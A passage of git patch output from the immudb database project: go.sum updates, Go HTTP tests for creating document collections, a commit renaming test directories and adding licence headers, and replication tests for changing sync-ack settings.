golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= @@ -49,6 +146,9 @@ google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqw google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +moul.io/http2curl/v2 v2.3.0 h1:9r3JfDzWPcbIklMOs2TnIFzDYvfAZvjeavG6EzP7jYs= +moul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE= diff --git a/test/objectstorage_tests/objects_tests/collections_test.go b/test/objectstorage_tests/objects_tests/collections_test.go index 3c9e00027b..b20371b674 100644 --- a/test/objectstorage_tests/objects_tests/collections_test.go +++ b/test/objectstorage_tests/objects_tests/collections_test.go @@ -2,11 +2,9 @@ package main import ( "context" - "net/http" "testing" "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" - "github.com/gavv/httpexpect/v2" "github.com/stretchr/testify/assert" ) diff --git a/test/objectstorage_tests/objects_tests/collections_test_new.go b/test/objectstorage_tests/objects_tests/collections_test_new.go deleted file mode 100644 index 4f037d964e..0000000000 --- a/test/objectstorage_tests/objects_tests/collections_test_new.go +++ /dev/null @@ -1,32 +0,0 @@ -package main - -import ( - "net/http" - "os" - "testing" - - "github.com/gavv/httpexpect/v2" -) - -func TestCreateCollectionWithInvalidName(t *testing.T) { - var baseURL = os.Getenv("OBJECTS_TEST_BASEURL") - var password = os.Getenv("OBJECTS_TEST_PASSWORD") - - user := map[string]interface{}{ - "username": "immudb", - "password": password, - "database": "defaultdb", - } - e := httpexpect.Default(t, baseURL) - obj := e.POST("/authorization/session/open"). - WithJSON(user). - Expect(). - Status(http.StatusOK).JSON().Object() - token := obj.Value("token").Raw().(string) - - e.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", token). - WithQuery("name", "accounts"). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() -} diff --git a/test/objectstorage_tests/objects_tests/collections_test_new2.go b/test/objectstorage_tests/objects_tests/collections_test_new2.go deleted file mode 100644 index 8809b025c5..0000000000 --- a/test/objectstorage_tests/objects_tests/collections_test_new2.go +++ /dev/null @@ -1,30 +0,0 @@ -import ( - "testing" - - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/suite" -) - -type MySuite struct { - suite.Suite - MyObject *MyObject -} - -func (s *MySuite) SetupSuite() { - // Set up your object here - s.MyObject = httpexpect.Default(t, baseURL) -} - -func (s *MySuite) TestMyFirstTest() { - // Use your object here - assert.Equal(s.T(), s.MyObject.Foo(), "foo should be equal") -} - -func (s *MySuite) TestMySecondTest() { - // Use your object here - assert.Equal(s.T(), s.MyObject.Bar(), "bar should be equal") -} - -func TestSuite(t *testing.T) { - suite.Run(t, new(MySuite)) -} diff --git a/test/objectstorage_tests/objects_tests/create_collections_test.go b/test/objectstorage_tests/objects_tests/create_collections_test.go new file mode 100644 index 0000000000..be311bcef5 --- /dev/null +++ b/test/objectstorage_tests/objects_tests/create_collections_test.go @@ -0,0 +1,107 @@ +package main + +import ( + "encoding/json" + "net/http" + "os" + "testing" + + "github.com/gavv/httpexpect/v2" + "github.com/google/uuid" + "github.com/stretchr/testify/suite" +) + +type CreateCollectionsTestSuite struct { + suite.Suite + expect *httpexpect.Expect + token string +} + +func (s *CreateCollectionsTestSuite) SetupTest() { + baseURL, exists := os.LookupEnv("OBJECTS_TEST_BASEURL") + + if !exists { + baseURL = "http://localhost:8091/api/v2" + } + + user := map[string]interface{}{ + "username": "immudb", + "password": "immudb", + "database": "defaultdb", + } + + s.expect = httpexpect.Default(s.T(), baseURL) + obj := s.expect.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusOK).JSON().Object() + s.token = obj.Value("token").Raw().(string) + +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() { + payloadModel := `{ + "name": "string" + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = uuid.New().String() + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneIndexKey() { + payloadModel := `{ + "name": "string", + "indexKeys": { + "customers": { + "type": "DOUBLE" + } + } + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = uuid.New().String() + payload["indexKeys"] = map[string]interface{}{ + "birth_date": map[string]interface{}{ + "type": "STRING", + }, + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) + collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date") + collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") +} + +func TestSuite(t *testing.T) { + suite.Run(t, new(CreateCollectionsTestSuite)) +} diff --git a/test/objectstorage_tests/objects_tests/objecttestutils.go b/test/objectstorage_tests/objects_tests/objecttestutils.go index 147117504f..0428e15d32 100644 --- a/test/objectstorage_tests/objects_tests/objecttestutils.go +++ b/test/objectstorage_tests/objects_tests/objecttestutils.go @@ -7,7 +7,6 @@ import ( authorizationClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbauth" documentsClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" - "github.com/gavv/httpexpect/v2" "github.com/google/uuid" ) @@ -90,22 +89,3 @@ func CreateAndGetStandardTestCollection(client *documentsClient.ClientWithRespon } return collectionName } - -func getToken() string { - var baseURL = os.Getenv("OBJECTS_TEST_BASEURL") - var password = os.Getenv("OBJECTS_TEST_PASSWORD") - - user := map[string]interface{}{ - "username": "immudb", - "password": password, - "database": "defaultdb", - } - e := httpexpect.Default(t, baseURL) - obj := e.POST("/authorization/session/open"). - WithJSON(user). - Expect(). - Status(http.StatusOK).JSON().Object() - token := obj.Value("token").Raw().(string) - - return token -} From 80e8b41dde4fa12d392b7bbeec8641f99c5b26ae Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 19 Apr 2023 11:40:17 -0300 Subject: [PATCH 0440/1062] chore(test/objects): add more tests to create collection Signed-off-by: Marco Sanchotene --- .../objects_tests/create_collections_test.go | 212 ++++++++++++++++++ 1 file changed, 212 insertions(+) diff --git a/test/objectstorage_tests/objects_tests/create_collections_test.go b/test/objectstorage_tests/objects_tests/create_collections_test.go index be311bcef5..c1971af1c9 100644 --- a/test/objectstorage_tests/objects_tests/create_collections_test.go +++ b/test/objectstorage_tests/objects_tests/create_collections_test.go @@ -8,6 +8,7 @@ import ( "github.com/gavv/httpexpect/v2" "github.com/google/uuid" + "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" ) @@ -102,6 +103,217 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneIndexKey( collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") } +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleIndexKeys() { + payloadModel := `{ + "name": "string", + "indexKeys": { + "employees": { + "type": "INTEGER" + } + } + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = uuid.New().String() + payload["indexKeys"] = map[string]interface{}{ + "birth_date": map[string]interface{}{ + "type": "STRING", + }, + "first_name": map[string]interface{}{ + "type": "STRING", + }, + "last_name": map[string]interface{}{ + "type": "STRING", + }, + "gender": map[string]interface{}{ + "type": "STRING", + }, + "hire_date": map[string]interface{}{ + "type": "STRING", + }, + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) + collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") + collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("first_name").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("last_name").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("gender").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("hire_date").Object().Value("type").IsEqual("STRING") +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameAndIndexKeys() { + payloadModel := `{}` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusInternalServerError).JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameButWithIndexKeys() { + payloadModel := `{ + "indexKeys": { + "employees": { + "type": "INTEGER" + } + } + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["indexKeys"] = map[string]interface{}{ + "birth_date": map[string]interface{}{ + "type": "STRING", + }, + "first_name": map[string]interface{}{ + "type": "STRING", + }, + "last_name": map[string]interface{}{ + "type": "STRING", + }, + "gender": map[string]interface{}{ + "type": "STRING", + }, + "hire_date": map[string]interface{}{ + "type": "STRING", + }, + } + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusInternalServerError).JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithIntegerName() { + payloadModel := `{ + "name": 123 + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = uuid.New() + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + collection := s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusOK). + JSON().Object() + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidIndexKey() { + payloadModel := `{ + "name": "string", + "indexKeys": "string" + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = uuid.New().String() + payload["indexKeys"] = "birth_date" + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusBadRequest).JSON().Object().NotEmpty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusInternalServerError). + JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyIndexKey() { + payloadModel := `{ + "name": "string", + "indexKeys": "string" + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = uuid.New().String() + payload["indexKeys"] = "" + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusBadRequest).JSON().Object().NotEmpty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", payload["name"]). + Expect(). + Status(http.StatusInternalServerError). + JSON().Object().NotEmpty() +} + +func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { + payloadModel := `{ + "name": "string" + }` + var payload map[string]interface{} + json.Unmarshal([]byte(payloadModel), &payload) + payload["name"] = uuid.New().String() + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusOK).JSON().Object().NotEmpty() + + s.expect.PUT("/collections/create"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusInternalServerError).JSON().Object().NotEmpty() + + payloadModel = `{}` + json.Unmarshal([]byte(payloadModel), &payload) + + collections := s.expect.POST("/collections/list"). + WithHeader("grpc-metadata-sessionid", s.token). + WithJSON(payload). + Expect(). + Status(http.StatusOK). + JSON().Object() + + collectionsFound := collections.Value("collections").Array().FindAll(func(index int, value *httpexpect.Value) bool { + return value.Object().Value("name").Raw() == payload["name"] + }) + + assert.Equal(s.T(), len(collectionsFound), 1) +} + func TestSuite(t *testing.T) { suite.Run(t, new(CreateCollectionsTestSuite)) } From 248a53eae6307b40e0dc4710edca9654a9213906 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Mon, 24 Apr 2023 12:27:28 -0300 Subject: [PATCH 0441/1062] test(documents): rename files, directories and variables and add copyright notice Signed-off-by: Marco Sanchotene --- .../documents_tests}/collections_test.go | 18 ++++++++++++++- .../create_collections_test.go | 18 ++++++++++++++- .../documents_tests}/documents_test.go | 18 ++++++++++++++- .../documents_tests/documents_test_utils.go} | 22 ++++++++++++++++--- .../documents_tests}/login_test.go | 18 ++++++++++++++- .../go.mod | 2 +- .../go.sum | 0 .../immudbauth/authorizationclient.go | 0 .../immudbdocuments/documentsclient.go | 0 .../testall.sh | 0 10 files changed, 88 insertions(+), 8 deletions(-) rename test/{objectstorage_tests/objects_tests => document_storage_tests/documents_tests}/collections_test.go (75%) rename test/{objectstorage_tests/objects_tests => document_storage_tests/documents_tests}/create_collections_test.go (93%) rename test/{objectstorage_tests/objects_tests => document_storage_tests/documents_tests}/documents_test.go (71%) rename test/{objectstorage_tests/objects_tests/objecttestutils.go => document_storage_tests/documents_tests/documents_test_utils.go} (72%) rename test/{objectstorage_tests/objects_tests => document_storage_tests/documents_tests}/login_test.go (59%) rename test/{objectstorage_tests => document_storage_tests}/go.mod (96%) rename test/{objectstorage_tests => document_storage_tests}/go.sum (100%) rename test/{objectstorage_tests => document_storage_tests}/immudbhttpclient/immudbauth/authorizationclient.go (100%) rename test/{objectstorage_tests => document_storage_tests}/immudbhttpclient/immudbdocuments/documentsclient.go (100%) rename test/{objectstorage_tests => document_storage_tests}/testall.sh (100%) diff --git a/test/objectstorage_tests/objects_tests/collections_test.go b/test/document_storage_tests/documents_tests/collections_test.go similarity index 75% rename from test/objectstorage_tests/objects_tests/collections_test.go rename to test/document_storage_tests/documents_tests/collections_test.go index b20371b674..4920cc438e 100644 --- a/test/objectstorage_tests/objects_tests/collections_test.go +++ b/test/document_storage_tests/documents_tests/collections_test.go @@ -1,10 +1,26 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package main import ( "context" "testing" - "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" "github.com/stretchr/testify/assert" ) diff --git a/test/objectstorage_tests/objects_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go similarity index 93% rename from test/objectstorage_tests/objects_tests/create_collections_test.go rename to test/document_storage_tests/documents_tests/create_collections_test.go index c1971af1c9..ed3ddd2089 100644 --- a/test/objectstorage_tests/objects_tests/create_collections_test.go +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package main import ( @@ -19,7 +35,7 @@ type CreateCollectionsTestSuite struct { } func (s *CreateCollectionsTestSuite) SetupTest() { - baseURL, exists := os.LookupEnv("OBJECTS_TEST_BASEURL") + baseURL, exists := os.LookupEnv("DOCUMENTS_TEST_BASEURL") if !exists { baseURL = "http://localhost:8091/api/v2" diff --git a/test/objectstorage_tests/objects_tests/documents_test.go b/test/document_storage_tests/documents_tests/documents_test.go similarity index 71% rename from test/objectstorage_tests/objects_tests/documents_test.go rename to test/document_storage_tests/documents_tests/documents_test.go index 64e1afbafd..befbde88bb 100644 --- a/test/objectstorage_tests/objects_tests/documents_test.go +++ b/test/document_storage_tests/documents_tests/documents_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package main import ( @@ -5,7 +21,7 @@ import ( "fmt" "testing" - "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" "github.com/google/uuid" "github.com/stretchr/testify/assert" ) diff --git a/test/objectstorage_tests/objects_tests/objecttestutils.go b/test/document_storage_tests/documents_tests/documents_test_utils.go similarity index 72% rename from test/objectstorage_tests/objects_tests/objecttestutils.go rename to test/document_storage_tests/documents_tests/documents_test_utils.go index 0428e15d32..6c2ba76c67 100644 --- a/test/objectstorage_tests/objects_tests/objecttestutils.go +++ b/test/document_storage_tests/documents_tests/documents_test_utils.go @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package main import ( @@ -5,13 +21,13 @@ import ( "net/http" "os" - authorizationClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbauth" - documentsClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + authorizationClient "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbauth" + documentsClient "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" "github.com/google/uuid" ) -var baseURL = GetEnv("OBJECTS_TEST_BASEURL", "http://localhost:8091/api/v2") +var baseURL = GetEnv("DOCUMENTS_TEST_BASEURL", "http://localhost:8091/api/v2") func GetEnv(key, defaultValue string) string { value := os.Getenv(key) diff --git a/test/objectstorage_tests/objects_tests/login_test.go b/test/document_storage_tests/documents_tests/login_test.go similarity index 59% rename from test/objectstorage_tests/objects_tests/login_test.go rename to test/document_storage_tests/documents_tests/login_test.go index 3b628b8833..69e20af3cb 100644 --- a/test/objectstorage_tests/objects_tests/login_test.go +++ b/test/document_storage_tests/documents_tests/login_test.go @@ -1,10 +1,26 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package main import ( "context" "testing" - authorizationClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbauth" + authorizationClient "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbauth" "github.com/stretchr/testify/assert" ) diff --git a/test/objectstorage_tests/go.mod b/test/document_storage_tests/go.mod similarity index 96% rename from test/objectstorage_tests/go.mod rename to test/document_storage_tests/go.mod index 7caa487166..7dbb8aec79 100644 --- a/test/objectstorage_tests/go.mod +++ b/test/document_storage_tests/go.mod @@ -1,4 +1,4 @@ -module github.com/codenotary/immudb/test/objectstorage_tests +module github.com/codenotary/immudb/test/documents_storage_tests go 1.19 diff --git a/test/objectstorage_tests/go.sum b/test/document_storage_tests/go.sum similarity index 100% rename from test/objectstorage_tests/go.sum rename to test/document_storage_tests/go.sum diff --git a/test/objectstorage_tests/immudbhttpclient/immudbauth/authorizationclient.go b/test/document_storage_tests/immudbhttpclient/immudbauth/authorizationclient.go similarity index 100% rename from test/objectstorage_tests/immudbhttpclient/immudbauth/authorizationclient.go rename to test/document_storage_tests/immudbhttpclient/immudbauth/authorizationclient.go diff --git a/test/objectstorage_tests/immudbhttpclient/immudbdocuments/documentsclient.go b/test/document_storage_tests/immudbhttpclient/immudbdocuments/documentsclient.go similarity index 100% rename from test/objectstorage_tests/immudbhttpclient/immudbdocuments/documentsclient.go rename to test/document_storage_tests/immudbhttpclient/immudbdocuments/documentsclient.go diff --git a/test/objectstorage_tests/testall.sh b/test/document_storage_tests/testall.sh similarity index 100% rename from test/objectstorage_tests/testall.sh rename to test/document_storage_tests/testall.sh From c00863e36ad7373da46dc4eee4191f4a4aa69c78 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 11 Oct 2022 12:04:01 +0200 Subject: [PATCH 0442/1062] test(pkg/integration): Add test case to reveal hang during DB update MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- .../synchronous_replication_test.go | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index cc18203853..950264b46c 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -586,3 +586,75 @@ func (suite *SyncTestChangingPrimarySuite) TestSyncTestChangingPrimarySuite() { } }) } + +type SyncTestChangingMasterSettingsSuite struct { + baseReplicationTestSuite +} + +func TestSyncTestChangingMasterSettingsSuite(t *testing.T) { + suite.Run(t, &SyncTestChangingMasterSettingsSuite{}) +} + +func (suite *SyncTestChangingMasterSettingsSuite) SetupTest() { + suite.baseReplicationTestSuite.SetupTest() + suite.SetupCluster(1, 1, 0) + suite.ValidateClusterSetup() +} + +func (suite *SyncTestChangingMasterSettingsSuite) TestSyncTestChangingMasterSuite() { + suite.Run("get one locked writer due to insufficient confirmations", func() { + ctx, mc, cleanup := suite.ClientForMaster() + defer cleanup() + _, err := mc.UpdateDatabaseV2(ctx, suite.masterDBName, &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + SyncFollowers: &schema.NullableUint32{ + Value: 2, + }, + }, + }) + suite.Require().NoError(err) + + ctxWithTimeout, cancel := context.WithTimeout(ctx, time.Second) + defer cancel() + + _, err = mc.Set(ctxWithTimeout, []byte("key"), []byte("value")) + suite.Require().Error(err) + suite.Require().Contains(err.Error(), context.DeadlineExceeded.Error()) + }) + + suite.Run("recover from locked write by changing database settings", func() { + ctx, mc, cleanup := suite.ClientForMaster() + defer cleanup() + + ctxWithTimeout, cancel := context.WithTimeout(ctx, 5*time.Second) + defer cancel() + + _, err := mc.UpdateDatabaseV2(ctxWithTimeout, suite.masterDBName, &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + SyncFollowers: &schema.NullableUint32{ + Value: 1, + }, + }, + }) + suite.Require().NoError(err) + + ctxWithTimeout, cancel = context.WithTimeout(ctx, time.Second) + defer cancel() + + _, err = mc.Set(ctxWithTimeout, []byte("key2"), []byte("value2")) + suite.Require().NoError(err) + }) + + suite.Run("ensure all commits are correctly persisted", func() { + ctx, mc, cleanup := suite.ClientForMaster() + defer cleanup() + + val, err := mc.Get(ctx, []byte("key")) + suite.Require().NoError(err) + suite.Require().Equal([]byte("value"), val.Value) + + val, err = mc.Get(ctx, []byte("key2")) + suite.Require().NoError(err) + suite.Require().Equal([]byte("value2"), val.Value) + }) +} From 787c87dfae8bac1268eae0df8c06d15615982fe9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 24 Apr 2023 14:31:39 -0300 Subject: [PATCH 0443/1062] test(pkg/integration): solved conflicts after rebasing on master Signed-off-by: Jeronimo Irazabal --- .../replication/synchronous_replication_test.go | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index 950264b46c..d983ab2973 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -603,11 +603,11 @@ func (suite *SyncTestChangingMasterSettingsSuite) SetupTest() { func (suite *SyncTestChangingMasterSettingsSuite) TestSyncTestChangingMasterSuite() { suite.Run("get one locked writer due to insufficient confirmations", func() { - ctx, mc, cleanup := suite.ClientForMaster() + ctx, mc, cleanup := suite.ClientForPrimary() defer cleanup() - _, err := mc.UpdateDatabaseV2(ctx, suite.masterDBName, &schema.DatabaseNullableSettings{ + _, err := mc.UpdateDatabaseV2(ctx, suite.primaryDBName, &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - SyncFollowers: &schema.NullableUint32{ + SyncAcks: &schema.NullableUint32{ Value: 2, }, }, @@ -623,15 +623,15 @@ func (suite *SyncTestChangingMasterSettingsSuite) TestSyncTestChangingMasterSuit }) suite.Run("recover from locked write by changing database settings", func() { - ctx, mc, cleanup := suite.ClientForMaster() + ctx, mc, cleanup := suite.ClientForPrimary() defer cleanup() ctxWithTimeout, cancel := context.WithTimeout(ctx, 5*time.Second) defer cancel() - _, err := mc.UpdateDatabaseV2(ctxWithTimeout, suite.masterDBName, &schema.DatabaseNullableSettings{ + _, err := mc.UpdateDatabaseV2(ctxWithTimeout, suite.primaryDBName, &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - SyncFollowers: &schema.NullableUint32{ + SyncAcks: &schema.NullableUint32{ Value: 1, }, }, @@ -646,7 +646,7 @@ func (suite *SyncTestChangingMasterSettingsSuite) TestSyncTestChangingMasterSuit }) suite.Run("ensure all commits are correctly persisted", func() { - ctx, mc, cleanup := suite.ClientForMaster() + ctx, mc, cleanup := suite.ClientForPrimary() defer cleanup() val, err := mc.Get(ctx, []byte("key")) From 1dc81d8c61a70be045675a4d0b97f8cf17330e73 Mon Sep 17 